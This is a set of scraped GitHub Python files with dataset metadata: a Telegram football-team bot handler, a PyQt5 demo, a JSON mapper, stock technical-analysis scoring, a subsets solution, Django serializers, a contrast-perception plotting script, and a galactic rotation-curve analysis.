output=BotValueError.process()\n                            bot.send_message(chat_id=message.chat.id, text=output)\n                    else:\n                        output=BotValueError.process()\n                        bot.send_message(chat_id=message.chat.id, text=output)\n                else:\n                    output=BotValueError.process()\n                    bot.send_message(chat_id=message.chat.id, text=output)\n            else:\n                output=BotValueError.process()\n                bot.send_message(chat_id=message.chat.id, text=output)\n        else:\n            output=BotValueError.process()\n            bot.send_message(chat_id=message.chat.id, text=output)\n    game_info.append(personal_info)\n    team_stat_pt4(message,game_info)\n\ndef team_stat_pt4(message, game_info):\n    if game_info[0]==\"поражение\":\n        text=f\"Поражение\\nЗабито: {game_info[4]}\\nПропущено: {game_info[5]}\\nЖёлтые карточки: {game_info[6]}\\nКрасные карточки: {game_info[7]}\\n\\nЛичная статистика:\\n{game_info[8]}\"\n    if game_info[0]==\"победа\":\n        text=f\"Победа\\nЗабито: {game_info[4]}\\nПропущено: {game_info[5]}\\nЖёлтые карточки: {game_info[6]}\\nКрасные карточки: {game_info[7]}\\n\\nЛичная статистика:\\n{game_info[8]}\"\n    if game_info[0]==\"ничья\":\n        text=f\"Ничья\\nЗабито: {game_info[4]}\\nПропущено: {game_info[5]}\\nЖёлтые карточки: {game_info[6]}\\nКрасные карточки: {game_info[7]}\\n\\nЛичная статистика:\\n{game_info[8]}\"\n\n    buttons_list = ['Подтвердить', 'Отменить']\n    keyboard = Keyboard(buttons_list)\n    bot.send_message(chat_id=message.chat.id, text=text, reply_markup=keyboard.get_keyboard())\n    bot.register_next_step_handler(message, team_stat_pt5 ,game_info)\n\ndef team_stat_pt5(message,game_info):\n    if message.text ==\"Подтвердить\":\n        insert_game_result_team(db_session, game_info)\n        insert_game_result_player(db_session,game_info)\n        #confirm_file = open(\"c:/applications/new.txt\", \"w\")\n        with open(\"c:/applications/change_stat.txt\", \"w\", encoding='utf-8') as file:\n            for  i in range(0,9):\n                file.write(f'{game_info[i]}\\n')\n            file.write('Ожидает подтверждения')\n        bot.send_message(chat_id=message.chat.id, text=\"Статистика ожидает подтверждения\")\n        for row in ADMINS_ID_LIST:\n            bot.send_message(chat_id=row, text=\"Информация ожидает подтверждения\")\n        TEAM_MANAGEMENT(message)\n    if message.text ==\"Отменить\":\n        TEAM_MANAGEMENT(message)\n\"\"\"\nРАССЫЛКА\n\"\"\"\ndef mailing(message):\n    buttons_list = ['Игра','Тренировка', 'Объявление', 'Назад']\n    add_new_player_keyboard = Keyboard(buttons_list)\n\n    bot.send_message(chat_id=message.chat.id, text='Выберите мероприятие',reply_markup=add_new_player_keyboard.get_keyboard())\n    bot.register_next_step_handler(message, mailing_menu)\n\ndef mailing_menu(message):\n    if message.text=='Игра':\n        prepair_game_mailing(message)\n    if message.text=='Тренировка':\n        prepair_training_mailing(message)\n    if message.text=='Объявление':\n        prepair_advertisment(message)\n    if message.text=='Назад':\n        TEAM_MANAGEMENT(message)\n\ndef prepair_game_mailing(message):\n    button_list=['Назад']\n    prepair_game_mailing_keyboard=Keyboard(button_list)\n    bot.send_message(chat_id=message.chat.id, text='Введите день', reply_markup=prepair_game_mailing_keyboard.get_keyboard())\n    info=[]\n    bot.register_next_step_handler(message,type_game_day, info)\n\ndef type_game_day(message,info):\n    if message.text=='Назад':\n        mailing(message)\n    else:\n        date=message.text\n        info.append(date)\n\n        bot.send_message(chat_id=message.chat.id,text='Введите время в формате HH:MM')\n        bot.register_next_step_handler(message, type_game_time, info)\n\ndef type_game_time(message, info):\n    time=message.text\n    info.append(time)\n\n    bot.send_message(chat_id=message.chat.id,text='Вставьте адрес')\n    bot.register_next_step_handler(message, type_game_address, info)\n\ndef type_game_address(message, info):\n    address=message.text\n    info.append(address)\n\n    bot.send_message(chat_id=message.chat.id, text='Вставьте ссылку на опрос')\n    bot.register_next_step_handler(message, type_game_link, info)\n\ndef type_game_link(message,info):\n\n    link = message.text\n    info.append(link)\n    bot.send_message(chat_id=message.chat.id,text=\"Проверьте данные:\")\n    check_game_mailing(message, info)\n\ndef check_game_mailing(message, info):\n    buttons_list = ['Подтвердить', 'Отменить']\n    keyboard = Keyboard(buttons_list)\n\n    str_game=f'Время игры:{info[0]} {info[1]}\\nАдрес:{info[2]}\\nОпрос:{info[3]}'\n    info[0]=str_game\n    bot.send_message(chat_id=message.chat.id,text=str_game,reply_markup=keyboard.get_keyboard())\n    bot.register_next_step_handler(message, confirm_game_mailing ,info)\n\ndef confirm_game_mailing(message,info):\n    if message.text ==\"Подтвердить\":\n        send_mailing(info)\n        mailing(message)\n    if message.text ==\"Отменить\":\n        mailing(message)\n\ndef prepair_training_mailing(message):\n    button_list=['Назад']\n    prepair_training_mailing_keyboard=Keyboard(button_list)\n    bot.send_message(chat_id=message.chat.id, text='Введите день', reply_markup=prepair_training_mailing_keyboard.get_keyboard())\n\n    info=[]\n    bot.register_next_step_handler(message,type_training_day, info)\n\ndef type_training_day(message, info):\n    if message.text=='Назад':\n        mailing(message)\n    else:\n        date=message.text\n        info.append(date)\n\n        bot.send_message(chat_id=message.chat.id,text='Введите время в формате HH:MM')\n        bot.register_next_step_handler(message, type_training_time, info)\n\ndef type_training_time(message, info):\n    time=message.text\n    info.append(time)\n\n    bot.send_message(chat_id=message.chat.id,text='Вставьте адрес')\n    bot.register_next_step_handler(message, type_training_address, info)\n\ndef type_training_address(message, info):\n    address=message.text\n    info.append(address)\n\n    bot.send_message(chat_id=message.chat.id, text='Вставьте ссылку на опрос')\n    bot.register_next_step_handler(message, type_training_link, info)\n\ndef type_training_link(message,info):\n\n    link = message.text\n    info.append(link)\n    bot.send_message(chat_id=message.chat.id,text=\"Проверьте данные:\")\n    check_train_mailing(message,info)\n\ndef check_train_mailing(message, info):\n    buttons_list = ['Подтвердить', 'Отменить']\n    keyboard = Keyboard(buttons_list)\n\n    str_training=f'Время тренировки:{info[0]} {info[1]}\\nАдрес:{info[2]}\\nОпрос:{info[3]}'\n    info[0]=str_training\n    bot.send_message(chat_id=message.chat.id,text=str_training,reply_markup=keyboard.get_keyboard())\n\n    bot.register_next_step_handler(message, confirm_training_mailing ,info)\n\ndef confirm_training_mailing(message,info):\n    if message.text ==\"Подтвердить\":\n        send_mailing(info)\n        mailing(message)\n    if message.text ==\"Отменить\":\n        mailing(message)\n\ndef prepair_advertisment(message):\n    button_list=['Назад']\n    prepair_advertisment_keyboard=Keyboard(button_list)\n    bot.send_message(chat_id=message.chat.id, text='Введите текст', reply_markup=prepair_advertisment_keyboard.get_keyboard())\n    bot.register_next_step_handler(message,type_advertisement)\n\ndef type_advertisement(message):\n    if message.text=='Назад':\n        mailing(message)\n    else:\n        text=message.text\n        info=[]\n        info.append(text)\n        bot.send_message(chat_id=message.chat.id,text=\"Проверьте данные:\")\n        check_advertisment(message,info)\n\ndef check_advertisment(message, info):\n    buttons_list = ['Подтвердить', 'Отменить']\n    keyboard = Keyboard(buttons_list)\n\n    bot.send_message(chat_id=message.chat.id,text=f'{info[0]}',reply_markup=keyboard.get_keyboard())\n    bot.register_next_step_handler(message, confirm_advertisment_mailing ,info)\n\ndef confirm_advertisment_mailing(message, info):\n    if message.text ==\"Подтвердить\":\n        send_mailing(info)\n        mailing(message)\n    if message.text ==\"Отменить\":\n        mailing(message)\n\ndef send_mailing(info):\n    text=info[0]\n    for user in ADMINS_ID_LIST:\n        bot.send_message(text = text, chat_id = user)","repo_name":"fanatsnaiper/WolverBot","sub_path":"handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":41704,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3490942438","text":"# _*_ coding: utf-8 _*_\n# @Time : 2022/6/11 17:40\n# @Author : Michael\n# @File : signal2.py\n# @desc :\nimport sys\n\nfrom PyQt5.QtCore import pyqtSignal\nfrom PyQt5.QtWidgets import QWidget, QPushButton, QApplication\n\n\nclass win(QWidget):\n    button_clicked_signal = pyqtSignal()\n    def __init__(self):\n        super().__init__()\n        self.setWindowTitle('内置信号与槽')\n        self.resize(200, 300)\n        btn = QPushButton('X', self)\n        btn.clicked.connect(self.btn_click)\n        self.button_clicked_signal.connect(self.close)\n    def btn_click(self):\n        self.button_clicked_signal.emit()\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    w = win()\n    w.show()\n    sys.exit(app.exec_())","repo_name":"kobe24o/Python_learning","sub_path":"qt/ch7/signal2.py","file_name":"signal2.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"72411246137","text":"from typing import Optional, Dict\n\nfrom common.domain.dto.AttributeMetadata import AttributeMetadata\nfrom common.domain.enum.MetadataType import MetadataType\nfrom common.domain.enum.MetadataUnit import MetadataUnit\nfrom common.domain.json.object_mapper.ObjectMapper import ObjectMapper\nfrom common.exception.JsonDecodeError import JsonDecodeError\n\n\nclass AttributeMetadataMapper(ObjectMapper):\n    objectType = AttributeMetadata\n\n    def _getMetadataType(self, jsonDict: Dict) -> MetadataType:\n        try:\n            metadataTypeStr = jsonDict[\"metadataType\"]\n            metadataType = MetadataType.__getitem__(metadataTypeStr)\n            if metadataTypeStr is None:\n                raise JsonDecodeError(\"Required Key 'metadataType' was null.\")\n        except KeyError as e:\n            raise JsonDecodeError(\"Required Key 'metadataType' was absent, invalid.\", e)\n        return metadataType\n\n    def _getUnit(self, jsonDict) -> Optional[MetadataUnit]:\n        unitStr = jsonDict.get(\"unit\")\n        if unitStr is None:\n            return None\n        try:\n            return MetadataUnit.__getitem__(unitStr)\n        except KeyError as e:\n            raise JsonDecodeError(f\"Unable to convert {unitStr} to a MetadataUnit\")\n\n    def map(self, jsonDict: Dict) -> objectType:\n        metadataType = self._getMetadataType(jsonDict)\n        value = jsonDict.get(\"value\")\n        unit = self._getUnit(jsonDict)\n        return AttributeMetadata(metadataType=metadataType, value=value, unit=unit)\n","repo_name":"ericghara/CarData","sub_path":"common/domain/json/object_mapper/AttributeMetadataMapper.py","file_name":"AttributeMetadataMapper.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"18606773530","text":"import numpy as np\n\ncriteria = [\"ta_candle_shape\", \"ta_vol\", \"ta_ma5\", \"ta_rs\", \"ta_rs_change\", \"ta_MACD\", \"ta_rsi\", \"ta_stability\", \"ta_boll_width\", \"ta_psar\", \"ta_supertrend\"]\ncriteria_coeff = [1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1]\n\nclass TA_analysis:\n\n    def __init__(self, stock_infos, tickers, criteria = criteria, criteria_coeff = criteria_coeff):\n        \n        self.criteria = criteria\n        self.criteria_coeff = criteria_coeff\n        self.tickers = tickers\n        self.stock_infos = stock_infos\n        self.categories = stock_infos.loc[self.tickers][\"category\"].unique()\n\n    def calculate_score(self, df):\n        \n        df[\"ta_candle_shape\"] = (df[\"daily_return\"] > 0.02) & ((df[\"close\"] / df[\"open\"]) > 1.02) & ((df[\"high\"] / df[\"close\"]) < 1.03)        \n        df[\"ta_vol\"] = ((df[\"volume\"] / df[\"volume_sma_20\"]) > 1.2) & ((df[\"volume\"] / df[\"volume_sma_5\"]) > 1.5) & (df[\"mfi_14_change\"] > 0)\n        df[\"ta_ma5\"] = df[\"close_sma_5\"] > df[\"close_sma_50\"] \n        df[\"ta_rs\"] = (df[\"rs\"] * 100) > 40        \n        df[\"ta_rs_change\"] = (df[\"rs_change\"] * 100) > 2\n        df[\"ta_MACD\"] = (df['macdh_returned'] > 0) & (df['macdh_normed'] > 0)        \n        df[\"ta_rsi\"] = (df[\"rsi_14_change\"] > 0) & (df[\"rsi_14\"] < 0.5)            \n        df[\"ta_stability\"] = df[\"stability\"] < 0.05\n        df[\"ta_boll_width\"] = df[\"boll_width_change\"] < 0\n        df[\"ta_psar\"] = df[\"PSAR_trend\"] == 1\n        df[\"ta_supertrend\"] = (df[\"supertrend_11\"] < 1) & (df[\"supertrend_12\"] < 1)\n\n        df[\"TA_score\"] = 0\n\n        for i in range(len(criteria)):\n            df[\"TA_score\"] = df[\"TA_score\"] + df[self.criteria[i]].astype(int) * self.criteria_coeff[i]\n\n        return df\n        \n    # def calculate_score(self, current_market_df):\n        \n    #     scores = []\n        \n    #     # category_rs = {}\n    #     # category_rs_change = {}\n\n    #     # for cat in self.categories:\n    #     #     category_rs[cat] = []\n    #     #     category_rs_change[cat] = []\n\n    #     # for ticker in self.tickers:\n    #     #     category = self.stock_infos.loc[ticker][\"datx_category\"]\n    #     #     category_rs_change[category].append(current_market_df[current_market_df[\"ticker\"] == ticker][\"rs_change\"].values[0])\n    #     #     category_rs[category].append(current_market_df[current_market_df[\"ticker\"] == ticker][\"rs\"].values[0])\n                \n    #     # for cat in self.categories:\n            \n    #     #     category_rs[cat] = np.mean(category_rs[cat])\n    #     #     category_rs_change[cat] = np.mean(category_rs_change[cat])\n\n    #     for ticker in self.tickers:\n\n    #         insight = current_market_df[current_market_df[\"ticker\"] == ticker]  \n    #         category = self.stock_infos.loc[ticker][\"datx_category\"]\n\n    #         criteria_check = {}\n            \n    #         criteria_check[\"candle_shape\"] = (insight[\"daily_return\"] > 0.02) & ((insight[\"close\"] / insight[\"open\"]) > 1.02) & ((insight[\"high\"] / insight[\"close\"]) < 1.03)        \n    #         criteria_check[\"vol\"] = ((insight[\"volume\"] / insight[\"volume_sma_20\"]) > 1) & ((insight[\"volume\"] / insight[\"volume_sma_5\"]) > 1.5) & (insight[\"mfi_14_change\"] > 0)\n    #         criteria_check[\"ma5\"] = insight[\"close_sma_5\"] > insight[\"close_sma_20\"] \n    #         criteria_check[\"rs\"] = (insight[\"rs\"] * 100) > 40        \n    #         criteria_check[\"rs_change\"] = (insight[\"rs_change\"] * 100) > 2\n    #         criteria_check[\"MACD\"] = (insight['macdh_returned'] > 0) & (insight['macdh_normed'] > 0)        \n    #         criteria_check[\"rsi\"] = (insight[\"rsi_14_change\"] > 0) & (insight[\"rsi_14\"] < 0.5)\n    #         # criteria_check[\"category_rs\"] = (category_rs_change[category] > 0) & ((category_rs[category] * 100) > 40)\n    #         criteria_check[\"stability\"] = insight[\"stability\"] < 0.03\n    #         criteria_check[\"boll_width\"] = insight[\"boll_width_change\"] < 0\n    #         criteria_check[\"psar\"] = insight[\"PSAR_trend\"] == 1\n            \n    #         score = 0\n\n    #         for i in range(len(criteria)):\n    #             score += int(criteria_check[criteria[i]]) * criteria_coeff[i]               \n\n    #         scores.append(score)\n\n    #     return scores\n\n","repo_name":"thanhtrunghuynh93/stockPrediction","sub_path":"analysis/TA_analysis.py","file_name":"TA_analysis.py","file_ext":"py","file_size_in_byte":4179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"30878564117","text":"\"\"\"\n给定一个可能包含重复元素的整数数组 nums，返回该数组所有可能的子集（幂集）。\n\n说明：解集不能包含重复的子集。\n\n示例:\n\n输入: [1,2,2]\n输出: [ [2], [1], [1,2,2], [2,2], [1,2], [] ]\n\n去重复\n\"\"\"\n\nclass Solution:\n    def backtracking(self,num:list,result:list,path:list,startindex:int,used:list):\n        \"\"\"\n         排序 回溯 去重复\n        :param num:\n        :param result:\n        :param path:\n        :param startindex:\n        :param used:\n        :return:\n        \"\"\"\n        # 终止条件\n        result.append(path[:])\n        if startindex > len(num):\n            return\n        # 单层逻辑\n        for i in range(startindex,len(num)):\n            # 去重复逻辑\n            if i > 0 and num[i-1] == num[i] and used[i-1] == False:\n                return\n            path.append(num[i])\n            used[i] = True # 递归时， 赋值True\n            self.backtracking(num,result,path,i+1,used)\n            path.pop()\n            used[i] = False\n\n\n    def main(self,num:list):\n        result = []\n        path = []\n        startindex = 0\n        used = [False] * len(num)\n        self.backtracking(num,result,path,startindex,used)\n        return result\n\nnum = [1,2,2]\ns = Solution()\nnum_s = sorted(num)\nprint(s.main(num_s))\n","repo_name":"Snail110/leercode","sub_path":"代码随想录/6.回溯/6.7子集问题2.py","file_name":"6.7子集问题2.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"74355380856","text":"from rest_framework import serializers\n\nfrom .models import BigData, SmallData, CryAudio\n\n\nclass CryAudioSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = CryAudio\n        fields = (\n            'audio_file',\n        )\n\n\nclass BigDataSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = BigData\n        fields = (\n            'zcr', 'energy', 'entropy_energy', 'spectral_spread_1', 'spectral_spread_2', 'spectral_entropy',\n            'spectral_flux_1',\n            'spectral_flux_2', 'spectral_rolloff', 'mfcc_1', 'mfcc_2', 'mfcc_3', 'mfcc_4', 'mfcc_5', 'mfcc_6', 'mfcc_7',\n            'mfcc_8', 'mfcc_9', 'mfcc_10', 'mfcc_11', 'label')\n\n\nclass SmallDataSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = SmallData\n        fields = ('class_type', 'id', 'm1', 'm2', 'm3', 'm4', 'm5', 'm6', 'm7', 'm8', 'm9', 'm10', 'm11',\n                  'm12', 'm13', 'l1', 'l2', 'l3', 'l4', 'l5', 'l6', 'l7', 'l8', 'l9', 'l10', 'fft1', 'fft2',\n                  'fft3', 'fft4', 'fft5', 'fft6', 'fft7', 'fft8', 'fft9', 'fft10', 'fft11', 'fft12',\n                  'fft13', 'fft14', 'fft15', 'fft16', 'fft17', 'fft18', 'fft19', 'fft20', 'fft21', 'fft22',\n                  'fft23', 'fft24', 'fft25', 'fft26', 'fft27', 'fft28', 'fft29', 'fft30', 'fft31', 'fft32',\n                  'fft33', 'fft34', 'fft35', 'fft36', 'fft37', 'fft38', 'fft39', 'fft40', 'fft41', 'fft42',\n                  'fft43', 'fft44', 'fft45', 'fft46', 'fft47', 'fft48', 'fft49', 'fft50', 'fft51', 'fft52',\n                  'fft53', 'fft54', 'fft55', 'fft56', 'fft57', 'fft58', 'fft59', 'fft60', 'fft61', 'fft62',\n                  'fft63', 'fft64',)\n","repo_name":"allisto/allistic-server","sub_path":"cry_analyze/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"42953723946","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\nimport pandas as pd\nfrom os import listdir\nfrom collections import defaultdict\n\ndir = 'C:/KatseAndmed/'\n\nexperiments = [f for f in listdir(dir) if(f.endswith('trial_data.csv'))]\n\nallTrials = None\n\n#Loen kõikide katsete andmed ühte objekti\nfor e in experiments:\n    fail = pd.read_csv(dir+e, sep=';', index_col=False);\n    allTrials = pd.concat([allTrials, fail], ignore_index=True)\n\n\n#Kogu täpsus\nacc = allTrials.get('TARGET_SHOWN').sum()/len(allTrials.get('TARGET_SHOWN'))\nprint('Kogu täpsus = ' + str(allTrials.get('TARGET_SHOWN').sum()))\n\n#Valin eraldi 2cpd ja 4cpd trialid kus näidati stiimulit (st kysiti kysimusi ka)\n_2cpdTrials = allTrials.loc[allTrials['CPD']=='2cpd']\n_2cpdTrials = _2cpdTrials.loc[_2cpdTrials['TARGET_SHOWN']==True]\n\n_4cpdTrials = allTrials.loc[allTrials['CPD']=='4cpd']\n_4cpdTrials = _4cpdTrials.loc[_4cpdTrials['TARGET_SHOWN']==True]\n\n_2cpdStandardLeft = _2cpdTrials.loc[_2cpdTrials['LEFT_STIMULUS_CONTRAST'] == 0.245000]\n\n_2cpdStandardRight = _2cpdTrials.loc[_2cpdTrials['RIGHT_STIMULUS_CONTRAST'] == 0.245000]\n\n_4cpdStandardLeft = _4cpdTrials.loc[_4cpdTrials['LEFT_STIMULUS_CONTRAST'] == 0.245000]\n\n_4cpdStandardRight = _4cpdTrials.loc[_4cpdTrials['RIGHT_STIMULUS_CONTRAST'] == 0.245000]\n\ntestContrasts = _2cpdStandardLeft['RIGHT_STIMULUS_CONTRAST'].unique() #kasutatud testkontrasti väärtused\n\n#Mitmel protsendil kordadest, kui standardkontrast oli vasakul, vastas katseisik, et parempoolne on kontrastsem\n#Iga erineva testkontrasti väärtuse jaoks arvutan, mitmel protsendil juhtudest kui seda testkontrasti näidati vastas katseisik et test on kontrastsem\ncountLeft = defaultdict(int)\nrightAnswers = _4cpdStandardLeft.loc[_4cpdStandardLeft['WHAT_SIDE_WAS_MORE_CONTRASTY']=='right']\nfor cont in testContrasts:\n    countLeft[cont] = len(rightAnswers.loc[rightAnswers['RIGHT_STIMULUS_CONTRAST']==cont])/len(_4cpdStandardLeft.loc[_4cpdStandardLeft['RIGHT_STIMULUS_CONTRAST']==cont])\n\n#Mitmel protsendil kordadest, kui standardkontrast oli paremal, vastas katseisik, et vasakpoolne on kontrastsem\ncountRight = defaultdict(int)\nleftAnswers = _4cpdStandardRight  .loc[_4cpdStandardRight['WHAT_SIDE_WAS_MORE_CONTRASTY']=='left']\nfor cont in testContrasts:\n    countRight[cont] = len(leftAnswers.loc[leftAnswers['LEFT_STIMULUS_CONTRAST']==cont])/len(_4cpdStandardRight.loc[_4cpdStandardRight['LEFT_STIMULUS_CONTRAST']==cont])\n\n#Plotin väärtused, enne muudan protsentideks\nxValues = []\nyValues=[]\nkeys = sorted(countLeft.keys())\nfor k in keys:\n    xValues.append(k*100)\n    yValues.append(countLeft[k]*100)\nplt.plot(xValues, yValues, 'bo--')\n\nxValues = []\nyValues=[]\nkeys = sorted(countRight.keys())\nfor k in keys:\n    xValues.append(k * 100)\n    yValues.append(countRight[k] * 100)\nplt.plot(xValues, yValues, 'ro--')\n\n#Joonise atribuudid\nred = mpatches.Patch(color='red', label='Test contrast behind hand')\nblue = mpatches.Patch(color='blue', label='Test contrast mirrored')\nplt.legend(handles=[blue, red])\nplt.title(\"4 cpd\")\nplt.ylabel(\"Perceived contrast of test > standard (%)\")\nplt.xlabel(\"Contrast of test stimulus (%)\")\nplt.axis([0, 100, 0, 100])\nplt.show()\n\n#Teen sama asja aga 2cpd'ga. Copy-paste\ncountLeft = defaultdict(int)\nrightAnswers = _2cpdStandardLeft.loc[_2cpdStandardLeft['WHAT_SIDE_WAS_MORE_CONTRASTY']=='right']\nfor cont in testContrasts:\n    countLeft[cont] = len(rightAnswers.loc[rightAnswers['RIGHT_STIMULUS_CONTRAST']==cont])/len(_2cpdStandardLeft.loc[_2cpdStandardLeft['RIGHT_STIMULUS_CONTRAST']==cont])\n\ncountRight = defaultdict(int)\nleftAnswers = _2cpdStandardRight  .loc[_2cpdStandardRight['WHAT_SIDE_WAS_MORE_CONTRASTY']=='left']\nfor cont in testContrasts:\n    countRight[cont] = len(leftAnswers.loc[leftAnswers['LEFT_STIMULUS_CONTRAST']==cont])/len(_2cpdStandardRight.loc[_2cpdStandardRight['LEFT_STIMULUS_CONTRAST']==cont])\n\n\nxValues = []\nyValues=[]\nkeys = sorted(countLeft.keys())\nfor k in keys:\n    xValues.append(k*100)\n    yValues.append(countLeft[k]*100)\nplt.plot(xValues, yValues, 'bo--')\n\nxValues = []\nyValues=[]\nkeys = sorted(countRight.keys())\nfor k in keys:\n    xValues.append(k * 100)\n    yValues.append(countRight[k] * 100)\nplt.plot(xValues, yValues, 'ro--')\n\nred = mpatches.Patch(color='red', label='Test contrast behind hand')\nblue = mpatches.Patch(color='blue', label='Test contrast mirrored')\nplt.legend(handles=[blue, red])\nplt.title(\"2 cpd\")\nplt.ylabel(\"Perceived contrast of test > standard (%)\")\nplt.xlabel(\"Contrast of test stimulus (%)\")\nplt.axis([0, 100, 0, 100])\nplt.show()","repo_name":"t6niskoppel/BachelorThesis","sub_path":"dataProcessingScripts/MainQuestion.py","file_name":"MainQuestion.py","file_ext":"py","file_size_in_byte":4550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"30795160753","text":"import matplotlib.pyplot as plt\r\nimport glob\r\nfrom math import *\r\nfrom statistics import mean\r\nimport scipy.signal\r\nfrom scipy import interpolate\r\nfrom scipy.constants import G\r\n\r\ndef interpolation(x, x_points, y_points):\r\n    tck = interpolate.splrep(x_points, y_points)\r\n    return interpolate.splev(x, tck)\r\n\r\ndef smoothen(wave, n):\r\n    return scipy.signal.savgol_filter(wave, n, 3)\r\n\r\ndef sort(s, n):\r\n    for i in range(1, n):\r\n\r\n        temp = s[i]\r\n        j = i - 1\r\n\r\n        while j >= 0 and len(temp) < len(s[j]):\r\n            s[j + 1] = s[j]\r\n            j -= 1\r\n\r\n        s[j + 1] = temp\r\n\r\n    return s\r\n\r\ndef bracket(start, end, size, x, y):\r\n    x1 = []\r\n    y1 = []\r\n    n = int((end - start) / size)\r\n    counter = start\r\n    e = []\r\n    for i in range(n):\r\n        sx = 0\r\n        sy = 0\r\n        nx = 0\r\n        ny = 0\r\n        for j in range(len(x)):\r\n            if x[j] > counter and x[j] < counter + size:\r\n                sx += x[j]\r\n                nx += 1\r\n                sy += y[j]\r\n                ny += 1\r\n        x1.append(counter+size/2)\r\n        y1.append(sy / ny)\r\n        error = 0\r\n        for j in range(len(x)):\r\n            if x[j] > counter and x[j] < counter + size:\r\n                if abs(y[j] - y1[i]) > error:\r\n                    error = abs(y[j] - y1[i]) / y1[i]\r\n        e.append(error)\r\n        counter += size\r\n    #print(e)\r\n    return x1, y1\r\n\r\ndef data_analysis(path):\r\n    files = glob.glob(path)\r\n    files = sort(files, len(files))\r\n    distance_from_galactic_center = []\r\n    rotational_velocity = []\r\n    vel_max = []\r\n    longitude = []\r\n    latitude = []\r\n\r\n    for i in files:\r\n\r\n        dat = open(i, 'r')\r\n        vel = []\r\n        temp = []\r\n        c = False\r\n        dataset_type = dat.readline()[0]\r\n        dat.seek(0)\r\n\r\n        for j in dat.readlines():\r\n\r\n            if dataset_type == '#':\r\n\r\n                if 'GLON=' in j:\r\n                    longitude.append(radians(float(j[7:])))\r\n\r\n                if 'GLAT=' in j:\r\n                    latitude.append(radians(float(j[7:])))\r\n\r\n                if j[0] != '#':\r\n                    vel.append(float(j[:j.find(' ')]))\r\n                    temp.append(float(j[j.find(' '):]))\r\n\r\n            else:\r\n\r\n                if '%%   ' in j:\r\n                    longitude.append(radians(float(j[5:13])))\r\n                    latitude.append(0)\r\n\r\n                if '%%LAB' in j:\r\n                    c = True\r\n\r\n                if j[0] != '%' and c:\r\n                    vel.append(float(j[:12]))\r\n                    temp.append(float(j[12:]))\r\n\r\n        temp_smoothened = smoothen(temp, 13)\r\n        baseline = mean(temp_smoothened)\r\n        v = -1000\r\n\r\n        for j in range(1, len(temp_smoothened) - 2):\r\n\r\n            if temp_smoothened[j] > baseline and temp_smoothened[j - 1] < temp_smoothened[j] and temp_smoothened[j + 1] < temp_smoothened[j] and vel[j] > v:\r\n                v = vel[j]\r\n                t = temp_smoothened[j]\r\n                plt.plot(v, t, 'ro')\r\n\r\n        vel_max.append(v)\r\n\r\n        naslov='Spektar za l = 20° poslije primjenjivanja Savitzky - Golay algoritma'\r\n        plt.plot(vel, temp_smoothened, 'b-', vel, [baseline]*len(vel), 'g--')\r\n        plt.xlabel('Brzina relativna na LSR [Km / s]')\r\n        plt.ylabel('Temperatura antene [K]')\r\n        plt.title(naslov)\r\n        plt.show()\r\n\r\n    for i in range(len(longitude)):\r\n        distance_from_galactic_center.append(8.5 * sin(longitude[i]))\r\n        rotational_velocity.append(vel_max[i] / cos(latitude[i]) + 220 * sin(longitude[i]))\r\n\r\n    d=distance_from_galactic_center[1:]\r\n    r=rotational_velocity[1:]\r\n    l=longitude[1:]\r\n    #makeTable(['Longituda [rad]', 'Udaljenost [Kpc]', 'Brzina [Km / s]'], [l, d, r])\r\n\r\n    return distance_from_galactic_center, rotational_velocity\r\n\r\ndef kepler(start):\r\n    k = start\r\n    i = 0.8\r\n    x = [0]\r\n    y = [0]\r\n    while i < 8.5:\r\n        x.append(i)\r\n        y.append(k/sqrt(i))\r\n        i += 0.01\r\n\r\n    return x, y\r\n\r\ndef mass(radius, velocity):\r\n    m = []\r\n    for i in range (len(radius)):\r\n        m.append(((radius[i]*3.08567758*(10**19))*((velocity[i]*1000)**2))/G)\r\n\r\n    plt.plot(radius, m)\r\n    plt.xlabel('Udaljenost od središta galaksije [kpc]')\r\n    plt.ylabel('Masa galaksije [kg]')\r\n    plt.title('Ovisnost mase o udaljenosti od središta')\r\n    plt.show()\r\n    return m\r\n\r\ndef makeTable(headerRow,columnizedData,columnSpacing=2):\r\n\r\n    from numpy import array,max,vectorize\r\n\r\n    cols = array(columnizedData,dtype=str)\r\n    colSizes = [max(vectorize(len)(col)) for col in cols]\r\n\r\n    header = ''\r\n    rows = ['' for i in cols[0]]\r\n\r\n    for i in range(0,len(headerRow)):\r\n        if len(headerRow[i]) > colSizes[i]: colSizes[i]=len(headerRow[i])\r\n        headerRow[i]+=' '*(colSizes[i]-len(headerRow[i]))\r\n        header+=headerRow[i]\r\n        if not i == len(headerRow)-1: header+=' '*columnSpacing\r\n\r\n        for j in range(0,len(cols[i])):\r\n            if len(cols[i][j]) < colSizes[i]:\r\n                cols[i][j]+=' '*(colSizes[i]-len(cols[i][j])+columnSpacing)\r\n            rows[j]+=cols[i][j]\r\n            if not i == len(headerRow)-1: rows[j]+=' '*columnSpacing\r\n\r\n    line = '-'*len(header)\r\n    print(line)\r\n    print(header)\r\n    print(line)\r\n    for row in rows: print(row)\r\n    print(line)\r\n\r\ndef published():\r\n\r\n    dat=open('C:\\\\Tekst3\\objavljeno.txt')\r\n    r=[]\r\n    v=[]\r\n\r\n    for i in dat.readlines():\r\n        r.append(8.5*sin(radians(float(i.split(' ')[0]))))\r\n        v.append(float(i.split(' ')[1])+220*sin(radians(float(i.split(' ')[0]))))\r\n\r\n    